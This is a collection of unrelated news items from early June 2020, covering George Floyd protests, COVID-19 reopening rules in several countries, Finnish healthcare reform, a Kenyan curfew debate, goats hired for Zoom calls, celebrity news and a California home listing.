Rachel Hale, one of the young women seen in the video, said she and her friends were talking with a brother and sister who had put some hearts on the store when the man appeared and began ranting about artwork.

As we started walking away we heard a man get up and really started verbally attacking these people putting up these hearts and yelling all lives matter, Hale said.

She tried to develop a peaceful dialogue with him, she said, but this man was trying to put words into our mouths. He started screaming that we think that all cops are bad and that we want to ruin the city.

Thats really the first time that Ive seen so much bluntful (sic) hate in my own city, and it was really a wake-up call, she said.

Fellow Naperville North graduate Alyssa Helm said she felt disrespected.

We were just trying to have a peaceful and mature conversation with the man and trying to find some middle ground between two polar opposite opinions, Helm said. Thats the most that you can do with people who think that way.

Helm said the response from the community after viewing the video is proof their beliefs are supported.

It makes me feel like there are 1,000 people for every one person that hates on the movement, she said.

Hale wanted to clarify that a woman in the video seen pulling down one of the heart should not be vilified on social media.

The woman, an employee of Lou Malnatis Pizzeria, thought someone had defaced the boarded store, Hale said. When the woman realized she was mistaken, she came up to the young women and apologized, Hale said.

Shes been super supportive, as has Lou Malnatis, she said.

The restaurants CEO Mike Archer said he spoke with employee and she, like the company, believes in the Black Lives Matter movement and abhors hate and racism. He said they also are very supportive of the Naperville community.
Source: Xinhua| 2020-06-06 00:17:29|Editor: huaxia

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HELSINKI, June 5 (Xinhua) -- Finnish government on Friday announced details of its health care reform that would strengthen the role of public healthcare without change to the current dual system in basic care.

According to the government statement, while the country's over 300 municipalities have been in charge of public healthcare so far, responsibility should now shift to 21 provinces and the capital Helsinki.

Sirpa Paatero, the Finnish minister of local government, underlined at a press conference that in the future, the public sector would play the main role, while private services would offer supplementary services under public sector control.

Krista Kiuru, the minister of family affairs and social services, said at the press conference that some of the current agreements on outsourcing health care to private operators do not meet the new criteria and would be canceled.

The concept of provincial responsibility was already in the plans of the previous government. The change will require the establishment of a provincial administration and elections for provincial assemblies to be arranged in 2022.

However, the reform will not change the current dual system in Finnish basic health care. Besides the public municipal health care centers, a separate health care system for employees is taking care of some 1.5 million citizens, with no cost for the patient to pay. The employee health care system is financed jointly by employers and the government.

Both systems send patients to same hospitals and higher level care. However, while the employee health care system usually gives same-day access to a doctor, patients using public health centers may have to wait for up to three months, which has been complained about by Finns for a long time.

Kiuru said the government reform wants to "play safe" and will not tackle the future of the dual system. "It will be left for future reforms," she added.

The current overall cost of Finnish healthcare and social services is 19 billion euros. Kiuru said at the press conference that the reform does not aim at cost cutbacks but better control of the spending. Enditem
A family pet was killed and a teenager was shot during an apparent home invasion Friday morning in northwest Harris County.

The 19-year-old was in the street on the 6900 block of Romona Lane around midnight when as many as four people robbed him at gunpoint, according to the Harris County Sheriffs Office. The suspects then forced their way into his home and allegedly killed the familys German Shepherd, according to police.
Syracuse, N.Y.  Graduation planning has been chaotic this spring for high school officials who have had to wade into uncharted waters to try to piece together ceremonies during the coronavirus pandemic.

State limits on the size of gatherings and social distancing rules - coupled with traditional graduation dates in June that fall in the middle of a four-part reopening plan - produced uncertainty over just what schools are or arent permitted to do.

On Thursday, the state sent school superintendents its recommendations for holding graduation ceremonies.

One paragraph - in bold - hints that high schools may want to wait and hold ceremonies later in the summer.

"NYS (Department of Health) will continue to monitor public health data and will revise this guidance in July to reflect any changes to the restrictions on large, in-person gatherings, the document says.

For ceremonies held this month, the state recommendations tout both virtual or video ceremonies and drive-in or drive-through graduations, along with individualized ceremonies that involve home visits.

The state says drive-in ceremonies would include families coming to and observing a ceremony while staying in the car.

Drive-through graduations would involve families driving through a venue, such as a high school stadium or parking lot, and stopping while their student left the car and received a diploma on a stage, the state says. The family would have to leave the school campus once the graduate received a diploma.

The state says drive-in events, like the one planned Saturday morning at Faith Heritage School in Syracuse, are more appropriate and manageable for smaller schools, while the drive-through events appear to be better-suited for larger schools.

The in-person events  drive-in, drive-through or individualized  would all have to adhere to strict guidelines, including:

Face coverings will be worn by all in attendance (except graduates, for photographs);

No more than 10 people may gather in one place, as specified in Gov. Andrew Cuomos executive order;

Graduates should arrive dressed in caps and gowns;

Hold the ceremony outdoors, or in a well-ventilated covered area;

Issue clear guidance about photography;

Ensure single-direction traffic flow;

Restricted restroom access and no refreshments served to avoid congestion;

June graduation plans by a number of area schools have been met with protests from students and parents, who have pleaded for more-traditional types of ceremonies.

Petition drives urging later ceremonies are ongoing at some schools including Cicero-North Syracuse and Jamesville-DeWitt. Some city school parents are planning a motorcade through the city on Saturday to drum up support for their graduates to have a traditional ceremony.

Many schools have planned modified ceremonies on their original graduation dates but also have reserved dates in July to hold more traditional graduations.

The state recommendations were issued after a graduation ceremony for New Hartford High School was shut down this week.

The district tried to be creative by holding small, in-person graduation diploma ceremonies spread out over several days.

New Hartford School Superintendent Robert Nole said the intent wasnt to be disrespectful of the rules. The guidelines on what to do or not do havent been clear, and are often left to interpretation, he said.

The state recommendations are very similar to Onondaga County guidelines issued May 27 in response to a raft of inquiries from area schools over what kind of graduation ceremonies they could hold.

New York State graduation guidelines

Onondaga County guidelines

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Coronavirus in NY: Cases, maps, charts and resources

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Complete coronavirus coverage on syracuse.com

Nolan Weidner is a reporter for the Syracuse Post-Standard and syracuse.com. Got a comment or idea for a story? He can be reached by call or text at 315.247.7419 or via email at nweidner@syracuse.com.
Brussels, June 5 : Countries across Europe are keen to reopen their borders in time for the summer tourist season, but while some states are working together it has not yet been organised across the EU, it was reported on Friday.

The EU Commissioner for Home Affairs Ylva Johansson said states should reopen internal borders by end of June, the BBC reported Johansson, who made the comments before a meeting of national ministers on Friday, added that she wanted all EU states to agree a date for the end of June.

Italy, one of the hardest hit European country, opened its borders on Wednesday.

Austria lifted its border restrictions on Wednesday night to all its neighbours bar Italy.

Spain plans to reopen its borders on July 1 only to neighbours France and Portugal.

It is not yet ready to open up to other countries.

Belgium is one of the EU states expected to open its borders on June 15.

France is also hoping that tourists will return and is pushing a plan to lift all the borders in the Schengen passport-free zone on July 1.
Marcus Daly Memorial Hospital and its facilities will lift temporary visitor restrictions on Monday, June 8.

These were imposed on Saturday, March 14; the date COVID-19 pandemic reached Montana.

"The temporary visitor restrictions have been in place for over 12 weeks, said Troy Hanson, chief operating officer of MDMH and one of three incident commanders. Protecting patients and caregivers as we navigate the COVID-19 pandemic has been a top priority and a critical component of providing quality care in a safe environment.

Together with our governor, community, Ravalli County Public Health and other entities, we have controlled and managed the spread of COVID-19 throughout the state and in the valley," Hanson said. "These efforts allowed us to reopen all services on April 30th, and on May 5th, we began providing elective surgeries.

During the reopening phase, we continue to monitor and test the policies and procedures put in place to care for all patients," he said."We are confident that our staff and facilities are safe and understand the importance of visitors to patients."

Visitation will be limited to two people per patient.

In addition, the screening process will continue for all entering MDMH facilities; this includes a temperature check and hand hygiene.

Visitors must wear a mask and practice social distancing at all times. To conserve personal protective equipment, when entering the MDMH facilities, please bring a mask with you.

If you are experiencing flu-like, respiratory symptoms, please call the MDMH Respiratory Service Team at 406-375-4762.

Hours for visitation and for patient care Monday through Friday are:

 Hospital Main Entrance  7:30 a.m. to 5 p.m.

 Bitterroot Physician Clinic  7:45 a.m. to 5 p.m.

 Rehabilitation Center  7 a.m. to 6 p.m.

 Sleep Center  8 a.m. to 4:30 p.m.

 Surgery Center  Doors open at 6 a.m.

 Medical Clinics  Open during regular business hours

 Emergency Department is open 24 hours, seven days a week.

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Kristina Knox, a 25-year-old child development teacher from Maryland, cried for days after watching video footage of George Floyd, a 46-year-old black man in Minneapolis who died after a police officer kneeled on his neck while Floyd gasped for air.

She had posted about high-profile episodes of police brutality wielded against black Americans on her social media accounts before she attended her first protest this week - spurred, in part, by hoping to create a better world for her two-year-old son.

"I'm over being walked over, mentally, physically, emotionally," Knox said at a protest outside the U.S. Capitol. "Enough is enough."

Floyd's death has sparked protests nationwide and around the world, engulfing city streets with thousands of demonstrators.

Many of the demonstrators who milled around the U.S. Capitol this week were black people in their twenties who, like Knox, had felt compelled after Floyd's death to march on the streets for the first time.

The U.S. has been rocked by demonstrations over police killing of unarmed black men, women and boys over the past decade. During the most widespread protests, after the fatal shooting of teenager Michael Brown in Ferguson, Missouri in 2014, many of the protesters in Washington D.C. this week were just teens themselves.

New demonstrators said they had been driven to protest after seeing too many videos and hearing too many stories about black Americans dying at the hands of police officers - and by their concerns about the future of the country itself.

"It's not to say that Ferguson did not anger us, but there's definitely something different about this moment, especially because it is an election year," said Arianna Evans, 23, a political science student, who attends Prince Georges Community College in Maryland.

"Were grappling with the soul of this country this year," Evans said. If U.S. President Donald Trump isn't voted out of office, and a new generation doesn't push for the reforms they want, "we may never see that chance."

The protests are broadly popular among Americans. According to a Reuters/Ipsos poll, 64% of American adults were sympathetic and 55% of Americans disapprove of the way Trump handled them.

Trump, who is seeking re-election in November, has suggested to some governors to call in the National Guard.

While it is not clear exactly how many people taking to the streets in protests over the past nine days are first-timers, organizers say the number of new protesters is significant.

Freedom Fighters DC, a newly formed group that has hosted multiple demonstrations within Washington, said that about 150 were first-time protesters of the 500 or so protesters outside the Capitol building on Wednesday.

Alayshia Florida, 20, a self-described first-time protester who is headed to nursing school this fall, convinced a white officer to kneel with her outside the U.S. Capitol Wednesday, amid cheers.

"Its time we change how police officers view us by inviting them to see us as human beings," she said.

Asked what made this moment different, Kelsey Marshman, a 29-year-old mail handler, said: "It's 2020! This should not be happening still. It really shouldn't. I'm sick of there being video and these police (officers) not being held accountable for that."

The protesters' demands include better police-sensitivity training, more serious background checks and convictions against the police officers involved in the case.

Derek Chauvin, the police officer who pressed his knee against Floyd's neck for nearly nine minutes, has been charged with second-degree murder. Minnesota sentencing guidelines suggest that someone convicted for second-degree murder without a criminal history receive between 22 and 30 years in prison. But Christa Groshek, a defense attorney in Minneapolis, said prosecutors would likely seek more than that if they secure a conviction against Chauvin.

Minnesota also filed a civil rights charge against the Minneapolis Police Department over Floyd's death and said it would investigate the department for systemic discriminatory practices.

On the hot, sunny day in Washington on Wednesday, volunteers passed out water and hand sanitizer, in a bid to minimize risks from the coronavirus pandemic.

Most protesters wore masks as they held up handmade signs bearing phrases like "Black Lives Matter," "Stop Shooting" and "There comes a time when silence is betrayal."

"The people rose up against oppression in 2020. Were we successful stopping it? I doubt it," said Lorenzo Bell, 36. "But did we just let them do it? ... No."

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MBABANE  While the country works towards fulfilling its goal of having clean water for all in the next few years, the Indvuna of Ehini has threatened to stop a project worth E7.5 million in Ezulwini.



Access to clean water and sanitation is Goal six of the Sustainable Development Goals initiated by the United Nations. This goal was initiated to ensure that all people have access to clean water and sanitation within a few years.

The project in question is funded by the Regional Development Fund (RDF) and is carried out by a water scheme known as Buhle Belizulu.



The project covers about six zones and it stands to benefit 1 716 homesteads. However, a man who identified himself as Indvuna of Ehini, Jabulani Dvuba, claimed that the proposed project had been allocated a piece of land belonging to his area.



Land



According to Dvuba, Ehini residents pay allegiance to Mpolonjeni. He said the piece of land, where the peoject had been allocated, had nothing to do with Ezulwini Royal Kraal.

As a result, he stated that Ezulwini Royal Kraal should have sought consent from Ehini before allocating the piece of land for the project.

Ehini is an area with its own indvuna appointed by the King. The King also appointed indvuna for Ezulwini Royal Kraal. An indvuna cannot leave his royal kraal to do as he pleases in another royal kraal, he said.



Uma kungatsiwa kuhlatjwa lisoyi lapho kutawucala khona lomsebenti, litawuhlatjwa ngubani? Indvuna yalomunye ummango yake yalihlaba yini lisoyi kulomunye ummango? Akutange sekwenteke loko futsi angeke kwenteke lapha, he added in vernacular, meaning: Who will bless the start of the project? Can an indvuna from another royal kraal bless the start of a project in another area? This cannot happen and it will never happen here.

Dvuba stated that the residents of Ehini raised their concern about the machinery which was seen clearing the land in preparation for the project without their consent.



He said the residents wanted to know how the project came about without their knowledge.

One may claim that I know the project. I do not dispute that I was approached by members of the water committee, but I referred them to the residents. The residents were never consulted and involved during the course of the preparations of the project which has now come to finality, he said. Dvuba said the finalisation of the project without the involvement of the people of the area had left them with the impression that it (project) was private.

He claimed that what raised more suspicions was the exclusion of the current bucopho, indvuna yenkhundla and the Member of Parliament from the project.



He claimed that none of the trio knew about the project yet they were the ones who should bring development in the area. He boasted that residents of the area had an upper hand in voting for MP, bucopho and indvuna yenkhundla. He stated that Ehini held weekly meetings, so the residents would have been informed if there was a project that menat to benefit them.



He mentioned that the inkhundla received many votes from Ehini. They cannot mess with Ehini if they want to go back to Parliament, he said.

He added that the elder of the Dvuba family had summoned the inkhundla team concerning the proposed project.



Dvuba stated that the water committee had since promised to include the residents of the area in the project; however, he said it was too late.



Respect



We are not against the project, but we want Ezulwini Royal Kraal to consider our existence and respect us in our piece of land. We also have projects such as a dip tank that can fit in the piece of land which they allocated for the water project, he said.

Dvuba also declared that the residents of Ehini had plenty of water.

He asked if Ezulwini Royal Kraal had considered the danger that might come with the construction of the water tank next to some homesteads in the area.



Take a tour and see what is likely to happen if it might rain for 24 hours. Some of the houses maybe destroyed. The water tank is likely to cause havoc should it burst. We would have discussed all these things had Ezulwini Royal Kraal engaged us, he explained.

Dvuba added that there was an ongoing assessment conducted by the Eswatini Electricity Company (EEC) next to the land allocated for the water tanks.
Imprisoned Choi Seo-won, better known as Choi Soon-sil, will release her memoir "Who Am I" on Monday. / Korea Times file



Imprisoned Choi Soon-sil's memoir "Who Am I" to be published on Monday



By Kang Hyun-kyung



Imprisoned Choi Seo-won, who was born Choi Soon-sil, claims that she has been wrongfully charged.



She is currently serving an 18-year jail term on multiple counts, including abuse of power and obstruction of justice.



In her memoir "Who Am I," to be published on Monday, Choi, 64, claimed that she became the target of political retaliation, denying the allegations against her.



"I'm a victim of political retaliation and have been facing consequences that are tougher than that of the purging of any socialist states. The truth will be revealed sooner or later," she wrote in the preface of the book.



It was reported in 2018 that Choi was working on a memoir in which she planned to disclose her side of truth about the Choi Soon-sil scandal that rocked the nation and triggered the candle-lit rallies calling for then-President Park Geun-hye to step down.



Recently, Yonhap News Agency disclosed some of the content of Choi's memoir days before its publication.



The Choi Soon-sil scandal caused her old friend Park to lose the presidency.



Park was impeached in 2016 and then sent to jail on multiple charges, including abuse of power.



In February, Choi was sentenced to 18 years in prison in the Seoul High Court's ruling on the case that was sent back to it by Supreme Court for a review in 2019.



"The nation was divided during the impeachment and those in favor of the impeachment and those against have clashed ever since. What she did to the nation was grave. Accordingly, Choi has to take responsibility for what she did," the court said.



In the book, Choi denied the media reports about her role during the rule of the Park government. She said she was trying to help Park, dismissing the media for the description of her as the "powerful personal secretary off the chain of command."



"I don't know who created the term. It's nonsensical and I am sick and tired of being called that," her book reads.



She claimed she's not guilty, criticizing the Moon Jae-in government for using "a double standard" on her case and former Justice Minister Cho Kuk.



"I heard that Justice Minister-nominee Cho lied about the allegations he was facing," she wrote. This part seems to have been written before President Moon went ahead with appointing him justice minister despite a myriad of allegations.



Cho's tenure was brief. He stepped down in October and was indicted on multiple counts, including bribery and abuse of power.



"Cho lied again and again. His daughter is also facing allegations," Choi's memoir reads. "But they consistently denied and said 'they don't know' or the allegations they are facing are not based on fact. How could they do this? What kind of people are they?"





Choi Seo-won / Korea Times file
Mumbai, June 5 : Malayalam star Prithviraj Sukumaran, who recently tested negative for COVID-19, has finally reunited with his family.

Prithviraj took to Instagram to share a family photograph. In the image he is seen posing with wife Supriya and their daughter Alankrita.

The actor, who has completed institutional quarantine, captioned the image: "Reunited".

Actor Dulquer Salmaan took to the comment section and wrote: "Awww ! Lots of love you guys." Actor Tovino Thomas dropped heart emojis in the comment section.

Prithviraj recently shared the results of his test reports on the photo-sharing website. The image showed that the samples were taken through a nasal swab.

Prithviraj and director Blessy, along with a 58-member entourage of their upcoming film "Aadujeevitham", were stranded at a desert camp in Jordan since March 12 due to global COVID-19 outbreak.

In May, the actor returned to the country after which he was in quarantine.

Earlier this year, Prithiviraj starred in the blockbuster "Ayyappanum Koshiyum" directed by Sachy. The film also stars Biju Menon. It released in February.

A Hindi remake of the film is in works. Bollywood star John Abraham will be bankrolling the project. The story of the thriller revolves around the dispute between an influential havaldar and a police inspector.
- MP William Chepkut said Uhuru should not lift curfew and inter-county movement saying that was the best decision

- Politicians Kalonzo and Franklin Bett recently urged the government to go slow on relaxing COVID-19 measures

- The president is expected to give further directions in his eighth coronavirus address tommorrow on June 6

President Uhuru Kenyatta will on June 6, give further directions on whether or not Kenyans will return business as usual following coronavirus scare.

However, with Kenya recording three figure cases on each day, it will be tough balancing for president between the public health safety and economy which is on near collapse.

READ ALSO: CS Magoha left disappointed after 3 Form 1 girls he helped acquire scholarship get pregnant

MP William Chepkut (speaking) suggested the government should not relax restriction of movement. Photo: William Chepkut.

Source: Facebook

READ ALSO: Coronavirus update: Kenya registers 134 more cases

A section politicians, health experts as well as education stakeholders had in the past urged the government to go slow on reopening of economy up until safety was guaranteed.

On his part, Ainabkoi MP William Chepkut urged Uhuru to reconsider extending the national curfew and cessation of movement for another three weeks.

READ ALSO: Wycliffe Oparanya, Eugene Wamalwa heckled in Kakamega as residents shout William Ruto's name

Uhuru had hinted he may not extend the nationwide 7 pm to 5 am curfew and cessation of movement. Photo: Uhuru Kenyatta.

Source: Facebook

READ ALSO: William Ruto seeks blessings from Koitalel Arap Samoei's clan amid storms in Jubilee Party

"HE President Uhuru should extend curfew and cessation of movement in and out of the affected counties for a period of another 21 days, it is the right thing to do at the moment," he said.

Similar sentiments were also shared by former MP and Kericho senatorial aspirant Franklin Bett who noted majority Kenyans were no longer observing coronavirus health precautions.

"I was in Nairobi briefly. It scared me. No social distancing. Masks worn at half mast or as necklaces! PSV vehicles full! I left hurriedly. Now, you talk of opening places of worship. I will shout at the top of my voice - open! Why? Life seem not to matter Kenyans," he stated.

On June 4, Wiper Party leader Kalonzo Musyoka warned of spike in positive cases if the government lifts stay-at-home and allows people to operate normally.

"I know the president will be speaking to the public on June 6. I would want to urge him to really receive all the expert advice because Kenyans are not sure whether we should go back to business as usual. I sense a feeling there is so much tragedy around this COVID-19 that it may be too soon to say get away with it," he said.

During his seventh presidential address on coronavirus on Saturday, May 23, Uhuru hinted he may not extend the nationwide 7 pm to 5 am curfew and cessation of movement.

He noted the economy was badly hurting and as government, they were assessing various options to ensure Kenyans were allowed to return to work soonest.

"We have seen what the other governments are doing. We cannot continue to stay at home, we cannot ask Kenyans not to attend to their business. But what will help resume our normal life, is what each of us will do. If you don't observe the guidelines, you will harm other. You must be responsible to protect your workmates," he said.

The nationwide curfew was first declared effective from Friday, March 27, to curb the spread of the virus, but it was extended for 21 days.

The extension was again effected for another 21 days which ends on June 6.

Do you have a hot story or scandal you would like us to publish, please reach us through news@tuko.co.ke or WhatsApp: 0732482690 and Telegram: Tuko news.

Why I beat my own mother- Lucy Nyawira | Tuko Talks | Tuko TV.

Source: TUKO.co.ke
A farmer who started hiring out her goats for Zoom meeting calls as a joke to try and cheer people up amid the coronavirus pandemic has revealed how vicars book 'Mary' out for virtual church every Sunday.

Speaking to presenters Ruth and Eamonn Holmes on This Morning, Dot, from Lancashire, explained how people from across the globe have hired the farm animal to join in with family and work video calls.

'We started it as a bit of a joke to cheer people up,' she explained. 'A lot of friends were saying they were having lots of business calls on Zoom and Skype and how bored they were stuck at home and staring at a camera.

'So as a bit of a joke we put on our farm website, "add a goat to your zoom call" - you know, to spice it up a bit.'

'It completely caught us off guard. We had no idea it'd be this popular. We thought five or 10 people may be mental enough to hire a goat to put on a Zoom or Skype call or whatever but no, it turns out people all over the world want a goat on their Zoom call.'

Dot (pictured with the goats), from Lancashire, explained how people can now hire goats to join in with family or work Zoom calls

Dot went on to say how there was one goat in particular who proved particularly popular every Sunday - the one named 'Mary.' Pictured, with kid, Simone

She continued: 'We've had calls in multiple different languages and from loads of different countries - we've had Australia, New Zealand, France, America, Germany and Canada.

'People are just falling about in hysterics because they've sneaked a goat into their meetings and not told their bosses. And their boss is like, "can anyone else see someone else on the call?"

Dot went on to say how there has been one goat in particular who is proving particularly popular on a Sunday - the one named 'Mary.'

'Mary - we've put her description on the farm website,' she explained. 'There's a few different ones on there to choose from. And Mary, obviously a religious name, but we didn't really think anything of that at the time.'

Dot (pictured bottom left) told how she has had two calls now which have just so happened to be when one of the goats was giving birth

When Eamonn (pictured left with Ruth) joked that Mary (pictured right, with some of the goats) the goat was carrying a bit of excess weight, Dot replied: 'I hope you're not body shaming my goat'

'We just thought it was a cool name for a goat. But every single Sunday since we started going this, about 15 different vicars book Mary for virtual church.'

And when presenter Eamonn joked whether Mary was with child too because she 'has a bit of a belly on her,' Dot replied: 'I hope you're not body shaming my goat.'

'She's just had young Simone who is climbing on her back there. That's just a bit of post-baby weight,' to which Ruth quipped: 'It happens to the best of us.'

Dot also added that some Zoom-ers have got more than they bargained for - and even witnessed a birth.

'Because of the time of year it just so happens the goats can do these types of calls because they're all in pens at the moment and the goats are kidding, which means the goats are having have their babies,' she explained.

'We've had two calls now which have just so happened to be when one of the goats was giving birth.

One viewer took to Twitter and penned: 'Its a bonkers idea to hire a goat for a zoom video chat but I love it' (pictured)

'Both of them were quite big business meetings - and no one was expecting it and didn't know what to do. They were amazed and mesmerised like, "wow the amazing miracle of life and nature ," at the same time they were like, "that's really gory, gooey and slimy.'

Speaking of how she manages to get the goat to look into the camera, Dot explained: 'Goats are very naturally inquisitive animals. They're really nosy and want t know what you're doing and what you're up to. They naturally want to eat stuff as well which normally involves eating the camera.

And it wasn't long before amused viewers took to Twitter to praise the light-hearted segment of the show.

'That farm/goat segment was probably the best thing thats been on since the whole pandemic started. Real and fun. Can our farmers get some praise too?' wrote one, while a second penned: 'Fifteen vicars book Mary the goat. Did anyone else mishear that?'

A third joked: 'Eamonn body shaming a goat on national tv.. don't you love day time TV,' while a fourth added: 'Its a bonkers idea to hire a goat for a zoom video chat but I love it.'
The Arklow and District Chamber of Commerce has continued its work to support local businesses during the Covid-19 outbreak.

The Chamber represents local businesses and has an understanding of the specific challenges companies face. It continues to be a go-to resource and collaborative partner for the business community and aims to provide support and assistance.

The Chamber has been monitoring the Covid-19 situation, talking with members, partners and liaising with Chambers Ireland to ensure it is best placed to continue to support local business and keep everyone informed on all the latest developments through these challenging times.

With the Covid-19 restrictions slightly easing, the Chamber is encouraging people to shop local to support the business community in any way possible.

Chamber president Garrett Dempsey also confirmed that the Arklow Chamber has been working in conjunction with local firm 8020 Consulting.ie to offer free limited support to local businesses and to deal with all queries related to Covid-19 challenges.

In addition, the president revealed that Echelon Data Centres recently completed the purchase of the site in Avoca River Business Park for its future data centre. Site investigation work is to commence at the Arklow location shortly.
New Delhi: Asteroid 2020 KA6, will safely fly by the earth within distance of 0.02987 astronomical units on Friday, 05 June 2020.

According to NASAs Center for Near-Earth Object Studies (CNEOS), the object 2020 KA6 that would hurtle by Earth on June 5 ranges in 12m-28m in diameter.

There is no danger of the asteroid hitting Earth during its upcoming visit while scientists believe that the asteroid will burn out in the atmosphere.

On June 5 and June 6, total five asteroids will fly by the earth.

The largest asteroid named 163348 (2002 NN4) which is estimated to be between 250m and 570m in diameter would fly by Earth on June 6. This huge asteroid would fly at a distance of 50.9 lakh km from Earth.

Near-Earth objects (NEOs) are asteroids and comets that orbit the Sun, but their orbits bring them into Earth's neighbourhood - within 30 million miles of Earth's orbit.

Most of the rocky asteroids originally formed in the warmer inner solar system between the orbits of Mars and Jupiter, while comets, composed mostly of water ice with embedded dust particles, formed in the cold outer solar system.
We are ready for summer here at Wayback Burgers and Free Shake Day is a beloved tradition.Patrick Conlin, President Wayback Burgers

Wayback Burgers, Americas Favorite Hometown Burger Joint and one of the nations fastest-growing burger franchises, is celebrating the first day of summer by giving away free shakes.

Wayback Burgers is all about tradition, and one of their favorite traditions is their annual #FreeShakeDay on the first day of summer!

This year, Saturday, June 20, also happens to be National Vanilla Milkshake Day (thank you, Leap Year) so to honor that, they are offering free vanilla milkshakes.

Each guest will receive one FREE 12-ounce Vanilla Milkshake (no purchase necessary) at all participating restaurants on June 20, while supplies last.

What is a burger without a hand-dipped milkshake? A vanilla shake is the perfect complement to any meal and a refreshing treat to kickstart summer. This offer is available in-restaurant only.

We are ready for summer here at Wayback Burgers and Free Shake Day is a beloved tradition, said Wayback Burgers President Patrick Conlin. We want to inspire moments of nostalgia while making new memories over the classic American meal - burgers, fries and milkshakes. We invite everyone to join the fun and indulge in a free vanilla milkshake.

Patrick Conlin, Wayback Burgers President, hopes to give away 35,000 shakes on June 20, which means:



3,500 gallons Blue Bunny Vanilla Ice Cream will be used, along with 35,000 cups, lids, and straws

Wayback will use 35 times the number of required supplies

The average Wayback Burgers location will give away 275 free milkshakes

All Wayback Burgers milkshakes are made the old-fashioned way  meaning they are hand-dipped and made to order. Guests are encouraged to share their free shakes using the hashtag #FreeShakeDay on Twitter or Instagram, and leave a comment on Wayback Burgers Facebook page.

For more information on Wayback Burgers and Free Shake Day, please visit http://www.WaybackBurgers.com, Facebook, Twitter or Instagram.

For more information about the Wayback Burgers franchise opportunity visit https://waybackburgers.com/franchising/.

About Wayback Burgers

Founded in 1991 in Newark, Delaware, Wayback Burgers is a Connecticut-based fast-casual franchise with a reputation for cooked to order burgers and thick, hand-dipped milkshakes, served in an environment that hearkens back to a simpler place and time  when customer service meant something and everyone felt the warmth of the community.

Wayback Burgers currently operates in over 30 states with over 166 locations nationally and internationally in Brunei, Sudan, Morocco, Saudi Arabia, Malaysia, Canada, and the Netherlands. Through its executed master franchise agreements, Wayback Burgers plans to open in 38 provinces/countries in the Middle East, Northern Africa, South Africa, Argentina, Pakistan, Brunei, Bangladesh, Ireland; Alberta, Ontario, Manitoba and Saskatchewan, Canada; and the Netherlands, with a pending letter of intent sent out to Germany.
She was recently enjoyed a socially-distanced reunion with her terminally-ill mother Amy after spending ten weeks apart.

And Katie Price looked to be in good spirits as she shared a slew of sultry snaps to Instagram on Friday.

The former glamour model, 42, showcased her physique in an electric blue crop top which she paired with matching figure-hugging leggings.

Strike a pose: Katie Price, 42, looked to be in good spirits as she shared a slew of sultry snaps to Instagram on Friday

Her poker straight black tresses fell loosely down to her midriff before she swept them backward with a pair of sunglasses.

Katie complemented the outfit with a pair of glitzy silver trainers as she posed up a storm for the camera.

The TV personality uploaded the series of snaps alongside a caption that read: 'Got that Friday feeling and excited for my lockdown night tonight.'

Sizzling: The former glamour model showcased her physique in an electric blue crop top which she paired with matching figure-hugging leggings

Toned: The TV personality complemented the outfit with a pair of glitzy silver trainers as she posed up a storm for the camera

It comes after Katie enjoyed a socially-distanced reunion with her terminally-ill mother Amy, who has idiopathic pulmonary fibrosis, as they saw each other for the first time in ten weeks on Thursday.

She brought her eldest child Harvey, 18, along while her beloved parent was joined by her husband Paul at their home.

Despite being separated by a fence, the group made the best of the 'bittersweet' meeting by engaging in a lively conversation after UK Prime Minister Boris Johnson lightened the laws on the nation's coronavirus lockdown.

WHAT IS IDIOPATHIC PULMONARY FIBROSIS? Idiopathic pulmonary fibrosis (IPF) is a condition in which the lungs become scarred and breathing becomes increasingly difficult. It's not clear what causes it, but it usually affects people around 70-75 years of age and is rare in people under 50. Several treatments can help reduce the rate at which IPF gets worse, but there's currently no treatment that can stop or reverse the scarring of the lungs. The symptoms of IPF tend to develop gradually and get slowly worse over time. Symptoms can include: shortness of breath

a persistent dry cough

tiredness

loss of appetite and weight loss

rounded and swollen fingertips (clubbed fingers) There is no cure and it's very difficult to predict how long someone with IPF will survive at the time of diagnosis. Regular monitoring over time can indicate whether it's getting worse quickly or slowly. Source: NHS Choices Advertisement

The former Loose Women panellist couldn't contain her delight as she reached over to her mother from a distance alongside her son.

Katie nailed sporty chic in a black shirt dress, which she styled with platform trainers and a trendy bumbag.

With her dark tresses worn in a ponytail, the Brighton native complemented her features with matte foundation.

Amy, who was diagnosed with the condition in 2017, grinned from ear-to-ear as she relished in the rare company of her loved ones.

With her dark tresses worn in a ponytail, the Brighton native complemented her features with matte foundation.

Amy, who was diagnosed with the condition in 2017, grinned from ear-to-ear as she relished in the rare company of her loved ones.

'Being such a close knit family it has been odd not being able to be physically greet one another. Katie is as many others in their situation still very cautious - it is the new normal and how life is going to be for some time to come...

'Katie will be the first over to her mum's when cuddle gate is over!'

In April, Katie was forced to communicate with Amy through a window due to the coronavirus crisis in scenes on her reality show.

In the one-off special for My Crazy Life, the TV star was left shocked to discover the UK has plunged into lockdown after being released from The Priory following a string of personal issues.

The reality star fought back tears as she reflected on being separated from her mum, detailing: 'I can't even hug her, it's so, so sad.'

In the heartbreaking clip, the media personality detailed her rehab experience, before explaining her surprise at the previous isolation requirements held in place by the government following her stint.

Heartbreaking: In April, Katie was forced to communicate with Amy through a window due to the coronavirus crisis in scenes on her reality show

'Love you and I'll see you soon': The former I'm A Celebrity star was later seen arriving at Amy's house, with the pair sharing a kiss through a window and holding their hands up against a door

During a phone conversation, she said: 'I've come out the hospital, realising everyone has gone and isolated themselves!'

The former I'm A Celebrity star was later seen arriving at Amy's house, with the pair sharing a kiss through a window and holding their hands up against a door.

'Love you and I'll see you soon', Katie sadly told her mum, who falls within the high risk category of those more vulnerable to COVID-19 due to her terminal lung condition.
It's hard to find a designer home in Southern California on the market for less than a million bucks.

So we were pleasantly surprised to spot an impeccable designer retreat from the creative duo Carlos Naude and Whitney Brown. The founders of Working Holiday Studio, based in Los Angeles, listed what's known as Casa Mami in Pioneertown, CA, for less than a half-million.

Their tres-cool rental has been featured in a number of design magazines, including Dwell, Domino, C Magazine, and Trendland. Which serves to make the price tag of $475,000 all the more enticing. And the designers may have found the right buyer to write the Casa's next chapterthe home is in escrow after less than a month on the market.

Working Holiday Studio is a "multidisciplinary studio that focuses on creating brands and experiences," and Casa Mami is a concrete example of its work. Judging by the contented guests who've given it a 4.87 star rating on Airbnb, they've created a stellar experience.

The income it produces is also pretty sweet. Pre-pandemic, the home was frequently booked at rates of $190 for up to four guests per night.

Front exterior of Casa Mami in Pioneertown, CA Carlos Naude, courtesy of ACME Real Estate

Bedroom

The two-bedroom, one-bath, 100% solar-powered casa is ideal for social distancing. It's located in a tiny town about 25 minutes from the entrance to Joshua Tree National Park.

